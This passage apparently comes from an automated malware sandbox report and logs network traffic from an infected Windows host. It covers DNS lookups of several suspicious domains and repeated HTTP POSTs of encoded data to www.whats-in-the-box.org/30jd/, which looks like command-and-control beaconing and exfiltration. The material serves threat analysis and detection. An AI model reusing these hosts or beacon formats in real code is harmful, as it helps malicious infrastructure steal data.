                                        Sep 19, 2024 15:05:55.809765100 CEST8049757156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:55.813218117 CEST4975780192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:58.337250948 CEST8049758156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:05:58.337388039 CEST4975880192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:58.338551044 CEST4975880192.168.2.4156.242.132.82
                                        Sep 19, 2024 15:05:58.343478918 CEST8049758156.242.132.82192.168.2.4
                                        Sep 19, 2024 15:06:03.952955008 CEST4975980192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:03.958101034 CEST8049759136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:03.958173990 CEST4975980192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:03.969917059 CEST4975980192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:03.975027084 CEST8049759136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:04.577279091 CEST8049759136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:04.577305079 CEST8049759136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:04.577370882 CEST8049759136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:04.577389956 CEST4975980192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:04.577442884 CEST4975980192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:05.473284960 CEST4975980192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:06.510354996 CEST4976080192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:06.515415907 CEST8049760136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:06.515492916 CEST4976080192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:06.530112982 CEST4976080192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:06.535109997 CEST8049760136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:07.124798059 CEST8049760136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:07.124869108 CEST8049760136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:07.124908924 CEST8049760136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:07.124979019 CEST4976080192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:07.124979019 CEST4976080192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:08.034853935 CEST4976080192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:09.055247068 CEST4976180192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:09.332501888 CEST8049761136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:09.332711935 CEST4976180192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:09.343506098 CEST4976180192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:09.353669882 CEST8049761136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:09.353713036 CEST8049761136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:09.353723049 CEST8049761136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:09.353804111 CEST8049761136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:09.358485937 CEST8049761136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:09.358496904 CEST8049761136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:09.358505011 CEST8049761136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:09.358546972 CEST8049761136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:09.358555079 CEST8049761136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:10.025729895 CEST8049761136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:10.025752068 CEST8049761136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:10.025785923 CEST4976180192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:10.847178936 CEST4976180192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:11.869469881 CEST4976280192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:11.874526024 CEST8049762136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:11.881190062 CEST4976280192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:11.885199070 CEST4976280192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:11.889976978 CEST8049762136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:12.504336119 CEST8049762136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:12.504373074 CEST8049762136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:12.504388094 CEST8049762136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:12.504400015 CEST8049762136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:12.504409075 CEST8049762136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:12.504465103 CEST4976280192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:12.504489899 CEST4976280192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:12.504719973 CEST8049762136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:12.504760027 CEST4976280192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:12.510488033 CEST4976280192.168.2.4136.143.186.12
                                        Sep 19, 2024 15:06:12.526078939 CEST8049762136.143.186.12192.168.2.4
                                        Sep 19, 2024 15:06:17.984150887 CEST4976380192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:17.989238024 CEST8049763199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:17.989367962 CEST4976380192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:18.075923920 CEST4976380192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:18.080861092 CEST8049763199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:18.587874889 CEST8049763199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:18.587960958 CEST8049763199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:18.588002920 CEST4976380192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:19.581566095 CEST4976380192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:20.620974064 CEST4976480192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:20.626014948 CEST8049764199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:20.626085997 CEST4976480192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:20.637497902 CEST4976480192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:20.642353058 CEST8049764199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:21.256535053 CEST8049764199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:21.256652117 CEST8049764199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:21.256804943 CEST4976480192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:22.144066095 CEST4976480192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:23.165221930 CEST4976580192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:23.170032978 CEST8049765199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:23.171391010 CEST4976580192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:23.181493044 CEST4976580192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:23.186379910 CEST8049765199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:23.186389923 CEST8049765199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:23.186398029 CEST8049765199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:23.186408043 CEST8049765199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:23.186424017 CEST8049765199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:23.186572075 CEST8049765199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:23.186580896 CEST8049765199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:23.186589003 CEST8049765199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:23.186650038 CEST8049765199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:23.795068026 CEST8049765199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:23.795202971 CEST8049765199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:23.795346022 CEST4976580192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:24.714776993 CEST4976580192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:25.725632906 CEST4976680192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:25.730576992 CEST8049766199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:25.730786085 CEST4976680192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:25.741195917 CEST4976680192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:25.746098042 CEST8049766199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:26.392689943 CEST8049766199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:26.392724037 CEST8049766199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:26.392735004 CEST8049766199.192.21.169192.168.2.4
                                        Sep 19, 2024 15:06:26.392855883 CEST4976680192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:26.395847082 CEST4976680192.168.2.4199.192.21.169
                                        Sep 19, 2024 15:06:26.401503086 CEST8049766199.192.21.169192.168.2.4

                                        UDP Packets

                                        TimestampSource PortDest PortSource IPDest IP
                                        Sep 19, 2024 15:04:17.295525074 CEST5123853192.168.2.41.1.1.1
                                        Sep 19, 2024 15:04:17.310847998 CEST53512381.1.1.1192.168.2.4
                                        Sep 19, 2024 15:04:33.118644953 CEST6478853192.168.2.41.1.1.1
                                        Sep 19, 2024 15:04:33.140037060 CEST53647881.1.1.1192.168.2.4
                                        Sep 19, 2024 15:04:46.463430882 CEST5607753192.168.2.41.1.1.1
                                        Sep 19, 2024 15:04:46.561376095 CEST53560771.1.1.1192.168.2.4
                                        Sep 19, 2024 15:05:00.071831942 CEST6074353192.168.2.41.1.1.1
                                        Sep 19, 2024 15:05:00.188435078 CEST53607431.1.1.1192.168.2.4
                                        Sep 19, 2024 15:05:14.170960903 CEST5459153192.168.2.41.1.1.1
                                        Sep 19, 2024 15:05:14.183281898 CEST53545911.1.1.1192.168.2.4
                                        Sep 19, 2024 15:05:28.678821087 CEST5522453192.168.2.41.1.1.1
                                        Sep 19, 2024 15:05:29.297441006 CEST53552241.1.1.1192.168.2.4
                                        Sep 19, 2024 15:06:03.383866072 CEST5188353192.168.2.41.1.1.1
                                        Sep 19, 2024 15:06:03.950161934 CEST53518831.1.1.1192.168.2.4
                                        Sep 19, 2024 15:06:17.522550106 CEST5991153192.168.2.41.1.1.1
                                        Sep 19, 2024 15:06:17.962596893 CEST53599111.1.1.1192.168.2.4

                                        DNS Queries

                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                        Sep 19, 2024 15:04:17.295525074 CEST192.168.2.41.1.1.10xa4b0Standard query (0)www.aaavvejibej.bondA (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:04:33.118644953 CEST192.168.2.41.1.1.10xbe6fStandard query (0)www.whats-in-the-box.orgA (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:04:46.463430882 CEST192.168.2.41.1.1.10x38f9Standard query (0)www.weatherbook.liveA (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:05:00.071831942 CEST192.168.2.41.1.1.10x4e52Standard query (0)www.crowsecurity.cloudA (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:05:14.170960903 CEST192.168.2.41.1.1.10xbf53Standard query (0)www.inspireplay.liveA (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:05:28.678821087 CEST192.168.2.41.1.1.10xd2efStandard query (0)www.shanhaiguan.netA (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:06:03.383866072 CEST192.168.2.41.1.1.10x62d8Standard query (0)www.lanxuanz.techA (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:06:17.522550106 CEST192.168.2.41.1.1.10x5db6Standard query (0)www.selftip.topA (IP address)IN (0x0001)false

                                        DNS Answers

                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                        Sep 19, 2024 15:04:17.310847998 CEST1.1.1.1192.168.2.40xa4b0No error (0)www.aaavvejibej.bond172.67.181.150A (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:04:17.310847998 CEST1.1.1.1192.168.2.40xa4b0No error (0)www.aaavvejibej.bond104.21.31.249A (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:04:33.140037060 CEST1.1.1.1192.168.2.40xbe6fNo error (0)www.whats-in-the-box.orgwhats-in-the-box.orgCNAME (Canonical name)IN (0x0001)false
                                        Sep 19, 2024 15:04:33.140037060 CEST1.1.1.1192.168.2.40xbe6fNo error (0)whats-in-the-box.org3.33.130.190A (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:04:33.140037060 CEST1.1.1.1192.168.2.40xbe6fNo error (0)whats-in-the-box.org15.197.148.33A (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:04:46.561376095 CEST1.1.1.1192.168.2.40x38f9No error (0)www.weatherbook.liveweatherbook.liveCNAME (Canonical name)IN (0x0001)false
                                        Sep 19, 2024 15:04:46.561376095 CEST1.1.1.1192.168.2.40x38f9No error (0)weatherbook.live3.33.130.190A (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:04:46.561376095 CEST1.1.1.1192.168.2.40x38f9No error (0)weatherbook.live15.197.148.33A (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:05:00.188435078 CEST1.1.1.1192.168.2.40x4e52No error (0)www.crowsecurity.cloudcrowsecurity.cloudCNAME (Canonical name)IN (0x0001)false
                                        Sep 19, 2024 15:05:00.188435078 CEST1.1.1.1192.168.2.40x4e52No error (0)crowsecurity.cloud3.33.130.190A (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:05:00.188435078 CEST1.1.1.1192.168.2.40x4e52No error (0)crowsecurity.cloud15.197.148.33A (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:05:14.183281898 CEST1.1.1.1192.168.2.40xbf53No error (0)www.inspireplay.liveinspireplay.liveCNAME (Canonical name)IN (0x0001)false
                                        Sep 19, 2024 15:05:14.183281898 CEST1.1.1.1192.168.2.40xbf53No error (0)inspireplay.live3.33.130.190A (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:05:14.183281898 CEST1.1.1.1192.168.2.40xbf53No error (0)inspireplay.live15.197.148.33A (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:05:29.297441006 CEST1.1.1.1192.168.2.40xd2efNo error (0)www.shanhaiguan.net156.242.132.82A (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:06:03.950161934 CEST1.1.1.1192.168.2.40x62d8No error (0)www.lanxuanz.techzhs.zohosites.comCNAME (Canonical name)IN (0x0001)false
                                        Sep 19, 2024 15:06:03.950161934 CEST1.1.1.1192.168.2.40x62d8No error (0)zhs.zohosites.com136.143.186.12A (IP address)IN (0x0001)false
                                        Sep 19, 2024 15:06:17.962596893 CEST1.1.1.1192.168.2.40x5db6No error (0)www.selftip.top199.192.21.169A (IP address)IN (0x0001)false

                                        HTTP Request Dependency Graph

                                        • www.aaavvejibej.bond
                                        • www.whats-in-the-box.org
                                        • www.weatherbook.live
                                        • www.crowsecurity.cloud
                                        • www.inspireplay.live
                                        • www.shanhaiguan.net
                                        • www.lanxuanz.tech
                                        • www.selftip.top

                                        HTTP Packets

                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        0192.168.2.449737172.67.181.15080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:04:17.330830097 CEST508OUTGET /lpl9/?Xf=4Zt4tvDx&GR=e8lWkFdpBI8fMqvrlwy/onG3BcZVz7zQmYaHg/xvgOUuLw6B3kGtYYWM8/CK9QzH2IDr1kJuLXtu8i/nZF8LLdKb2VMPvKTLf5QxvZUWo2Nd+FhaQzJMI4o= HTTP/1.1
                                        Host: www.aaavvejibej.bond
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Connection: close
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Sep 19, 2024 15:04:17.779205084 CEST774INHTTP/1.1 403 Forbidden
                                        Date: Thu, 19 Sep 2024 13:04:17 GMT
                                        Content-Type: text/plain; charset=UTF-8
                                        Content-Length: 16
                                        Connection: close
                                        X-Frame-Options: SAMEORIGIN
                                        Referrer-Policy: same-origin
                                        Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0
                                        Expires: Thu, 01 Jan 1970 00:00:01 GMT
                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tdwxo352I9KH2eE6akNKkTXJnUqwh5Z6TheY1qFEaPwU14AaoBFGZjc9IrboA8x6wmUEcxliuW5Xl1At9I2M4c%2BRpe%2F2gAzPZphfA4HvjbxSwfDuBuGvz9XRWlk0vAqZ8bYV%2B9l%2BnQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                        Server: cloudflare
                                        CF-RAY: 8c59c7dec80d8cc0-EWR
                                        alt-svc: h3=":443"; ma=86400
                                        Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 31 30 31 30
                                        Data Ascii: error code: 1010


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        1192.168.2.4497383.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:04:33.183208942 CEST792OUTPOST /30jd/ HTTP/1.1
                                        Host: www.whats-in-the-box.org
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.whats-in-the-box.org
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 199
                                        Referer: http://www.whats-in-the-box.org/30jd/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 44 76 72 2b 4f 48 70 57 51 62 73 38 37 68 49 79 6a 33 33 43 37 66 5a 46 52 48 55 35 77 50 39 4b 56 72 4d 64 43 68 4b 39 75 35 2b 69 75 65 55 38 4e 32 45 6c 6f 48 7a 56 64 64 57 47 45 70 69 50 4e 41 68 53 50 34 4f 30 55 4c 39 35 79 34 47 76 63 79 4e 65 65 36 6f 64 53 4c 70 55 6d 76 50 48 78 30 77 76 76 69 59 39 75 51 49 59 63 44 6f 6f 31 73 62 63 32 39 51 65 50 58 6f 2b 58 71 48 37 79 79 73 4a 64 32 70 36 4d 65 64 34 68 2b 39 35 77 6b 38 70 45 46 6a 53 76 57 6e 66 53 4c 47 35 65 4f 43 4e 59 2f 50 76 69 53 4c 39 64 43 6a 30 66 61 46 57 61 4f 64 78 70 46 7a 4d 4e 54 6c 67 73 67 3d 3d
                                        Data Ascii: GR=Dvr+OHpWQbs87hIyj33C7fZFRHU5wP9KVrMdChK9u5+iueU8N2EloHzVddWGEpiPNAhSP4O0UL95y4GvcyNee6odSLpUmvPHx0wvviY9uQIYcDoo1sbc29QePXo+XqH7yysJd2p6Med4h+95wk8pEFjSvWnfSLG5eOCNY/PviSL9dCj0faFWaOdxpFzMNTlgsg==


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        2192.168.2.4497393.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:04:35.727685928 CEST812OUTPOST /30jd/ HTTP/1.1
                                        Host: www.whats-in-the-box.org
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.whats-in-the-box.org
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 219
                                        Referer: http://www.whats-in-the-box.org/30jd/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 44 76 72 2b 4f 48 70 57 51 62 73 38 36 42 34 79 73 33 4c 43 39 2f 5a 43 50 33 55 35 36 76 39 4f 56 71 77 64 43 67 4f 74 74 4b 4b 69 67 62 6f 38 4f 30 73 6c 76 48 7a 56 4a 4e 57 44 41 70 6a 69 4e 41 6b 74 50 35 79 30 55 4c 70 35 79 36 65 76 66 41 6c 5a 45 4b 6f 66 61 72 70 73 70 50 50 48 78 30 77 76 76 69 4d 48 75 51 41 59 63 79 34 6f 31 4a 76 66 71 74 51 66 4f 58 6f 2b 42 61 48 2f 79 79 73 72 64 79 78 63 4d 62 42 34 68 38 6c 35 7a 78 49 71 66 31 6a 59 69 32 6e 50 58 4b 32 39 48 4f 37 44 58 76 50 4f 72 43 50 6c 59 45 79 75 4f 72 6b 42 49 4f 35 43 30 43 36 34 41 51 59 70 33 6e 39 73 4b 47 39 42 78 6f 6e 51 67 42 58 43 6e 64 56 6f 52 57 77 3d
                                        Data Ascii: GR=Dvr+OHpWQbs86B4ys3LC9/ZCP3U56v9OVqwdCgOttKKigbo8O0slvHzVJNWDApjiNAktP5y0ULp5y6evfAlZEKofarpspPPHx0wvviMHuQAYcy4o1JvfqtQfOXo+BaH/yysrdyxcMbB4h8l5zxIqf1jYi2nPXK29HO7DXvPOrCPlYEyuOrkBIO5C0C64AQYp3n9sKG9BxonQgBXCndVoRWw=


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        3192.168.2.4497403.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:04:38.404995918 CEST10894OUTPOST /30jd/ HTTP/1.1
                                        Host: www.whats-in-the-box.org
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Accept-Encoding: gzip, deflate
                                        Origin: http://www.whats-in-the-box.org
                                        Content-Type: application/x-www-form-urlencoded
                                        Connection: close
                                        Cache-Control: no-cache
                                        Content-Length: 10299
                                        Referer: http://www.whats-in-the-box.org/30jd/
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Data Raw: 47 52 3d 44 76 72 2b 4f 48 70 57 51 62 73 38 36 42 34 79 73 33 4c 43 39 2f 5a 43 50 33 55 35 36 76 39 4f 56 71 77 64 43 67 4f 74 74 4c 79 69 67 70 77 38 4f 56 73 6c 75 48 7a 56 57 39 57 43 41 70 6a 61 4e 41 64 6b 50 35 2b 4f 55 4a 52 35 79 62 2b 76 58 52 6c 5a 4b 36 6f 66 59 72 70 58 6d 76 4f 48 78 30 67 72 76 69 63 48 75 51 41 59 63 78 77 6f 7a 63 62 66 6f 74 51 65 50 58 6f 79 58 71 48 62 79 79 6b 61 64 79 6c 71 4e 6f 5a 34 68 63 31 35 32 48 6b 71 54 31 6a 57 78 47 6d 51 58 4b 37 6a 48 4f 6e 35 58 73 54 6f 72 41 54 6c 56 51 6a 7a 5a 71 41 66 53 2f 6c 45 69 68 4f 77 47 51 56 72 76 41 31 47 47 47 42 46 75 5a 72 41 73 53 61 67 77 65 5a 6f 4f 51 55 51 4d 4d 32 70 71 68 38 35 62 45 30 37 41 46 44 7a 77 49 64 4e 6c 55 77 47 48 48 6e 31 74 4f 4c 49 71 77 7a 65 2b 32 77 6b 65 7a 61 35 4c 35 43 48 4c 56 74 73 44 5a 4c 51 68 77 73 59 4e 2b 37 32 38 65 38 79 6f 6a 6c 56 35 52 45 6d 4d 6d 4d 31 43 7a 59 78 4d 77 72 69 54 2b 65 47 56 79 69 50 76 7a 50 49 69 4f 48 71 52 55 30 62 52 35 77 76 6c 4a 41 75 30 76 57 [TRUNCATED]
                                        Data Ascii: GR=Dvr+OHpWQbs86B4ys3LC9/ZCP3U56v9OVqwdCgOttLyigpw8OVsluHzVW9WCApjaNAdkP5+OUJR5yb+vXRlZK6ofYrpXmvOHx0grvicHuQAYcxwozcbfotQePXoyXqHbyykadylqNoZ4hc152HkqT1jWxGmQXK7jHOn5XsTorATlVQjzZqAfS/lEihOwGQVrvA1GGGBFuZrAsSagweZoOQUQMM2pqh85bE07AFDzwIdNlUwGHHn1tOLIqwze+2wkeza5L5CHLVtsDZLQhwsYN+728e8yojlV5REmMmM1CzYxMwriT+eGVyiPvzPIiOHqRU0bR5wvlJAu0vWRbfYfWY5Wsg5LrGhj/iLI0e3itSf2W4ez7Xl2kI0M2Qjh8dXMErgMQsamLoJ/I/8jiHOZiyOvD2rPlMsOTU/U5LFxyVUHfZwbhVBnSSst3HULQ5fD7FG6EPIXTZREfV575tshlv3qGzFKbKtCtGbAR1GYeIKkgvWUJ2Mjegzmcc18mkDcy1ktjn7puw8+eQwQqksYU21lLAKZikHw3NhVYXnLN7QN3+NL4QjNXI4bSXAvFxLW/tKCqz5q3irJk0PyoQu5ZE5MxAg3zmr5gw259kqoIII7+aY3/dtU2ak4E0Q+aTD4huvWg1Pw9QHwP8MXmQmykLLb4q/HcwwH48D+v0kGK5keXqTh2TOZyp0NBEZbnr95xKukRKtin/y1R67ZOr7RBWWD8DoaCIBPaHJafR8yoaNMPJUup5Ze/cmsOGsTcbmXhu6scqfhKReGtwbq7rFqR3sepf4ObKRo0RzNJoV8YnnaJOF1UjjT4Lo2J8K74zHzUGrHzuseAHq2n7aGTFvWhjmDdhHRgWLlpJlANYnyylBb78nY1gVquf3/exV7mOoa7ycp6dJEQvGPmUKcu7ZHMY2nvb/A3wmxot9mmXDKwKnpLyVhmqu8LkPf3fVG9aXEQshoXXqSl4W54LtbL1kU+QkC/Egiv8H9Yblt4S/mYJYGKEP0U [TRUNCATED]


                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                        4192.168.2.4497413.33.130.19080932C:\Program Files (x86)\ZTrSozSWRqvZnnRbCkpCHiOfkZhEZRaCrdDNKEhghmBlaOOBvvdOe\WrtyZOtiIHMYio.exe
                                        TimestampBytes transferredDirectionData
                                        Sep 19, 2024 15:04:40.986397028 CEST512OUTGET /30jd/?GR=OtDeNxpSfKodwTIu4nnA+ux6enUP6PpldrB0PRj1l4+Fh7wLXn4C+U6iIOCzG6zWS3UsP4q8AKFA04SbUzJ+fbd5Tc1EuJbYoHYXowwdmRoBcyVO6/LzqMo=&Xf=4Zt4tvDx HTTP/1.1
                                        Host: www.whats-in-the-box.org
                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                        Accept-Language: en-us
                                        Connection: close
                                        User-Agent: Mozilla/4.0 (compatible; MSIE 11.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
                                        Sep 19, 2024 15:04:41.446540117 CEST390INHTTP/1.1 200 OK
                                        Server: openresty
                                        Date: Thu, 19 Sep 2024 13:04:41 GMT
                                        Content-Type: text/html
                                        Content-Length: 250
                                        Connection: close
